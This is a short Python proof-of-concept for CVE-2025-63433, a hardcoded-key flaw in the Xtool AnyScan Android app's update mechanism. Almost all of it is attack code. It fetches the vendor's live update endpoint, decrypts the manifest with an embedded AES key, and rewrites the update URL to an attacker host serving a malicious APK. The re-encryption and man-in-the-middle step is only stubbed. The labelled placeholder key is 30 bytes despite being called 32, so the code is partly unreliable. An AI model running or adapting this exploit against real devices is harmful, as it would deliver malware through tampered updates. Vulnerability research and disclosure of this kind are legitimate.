Xtool AnyScan Android应用硬编码密钥漏洞 (CVE-2025-63433)

#!/usr/bin/env python3 """ CVE-2025-63433 PoC: Hardcoded Key Extraction and Update Manifest Tampering Note: This PoC demonstrates the vulnerability concept for authorized security testing only. """ import base64 import requests from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import json # Hardcoded key and IV extracted from the application (example placeholder) HARDCODED_KEY = b'XtoolSecretKey1234567890123456' # 32 bytes for AES-256 HARDCODED_IV = b'XtoolInitVector!' # 16 bytes def decrypt_manifest(encrypted_data): """Decrypt update manifest using hardcoded credentials""" try: cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, HARDCODED_IV) decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size) return json.loads(decrypted) except Exception as e: print(f"[-] Decryption failed: {e}") return None def tamper_manifest(original_manifest, malicious_url): """Modify update URL to point to malicious server""" original_manifest['update_url'] = malicious_url original_manifest['version'] = '99.99.99' return original_manifest def main(): target_app = 'https://update.xtooltech.com/api/check_update' # Step 1: Intercept encrypted update manifest print("[*] Step 1: Intercepting update manifest...") response = requests.get(target_app, timeout=10) encrypted_manifest = response.text # Step 2: Decrypt using hardcoded key print("[*] Step 2: Decrypting manifest with hardcoded key...") manifest = decrypt_manifest(encrypted_manifest) if not manifest: print("[-] Failed to decrypt manifest") return print(f"[+] Original manifest: {json.dumps(manifest, indent=2)}") # Step 3: Tamper with malicious update URL print("[*] Step 3: Tampering with update URL...") tampered = tamper_manifest(manifest, 'https://attacker.com/malicious_update.apk') print(f"[+] Tampered manifest: {json.dumps(tampered, indent=2)}") # Step 4: Re-encrypt and inject (requires MITM) print("[*] Step 4: Re-encrypting manifest...") # Implementation would require MITM proxy to intercept and modify traffic print("[!] This PoC is for educational purposes only") if __name__ == '__main__': main()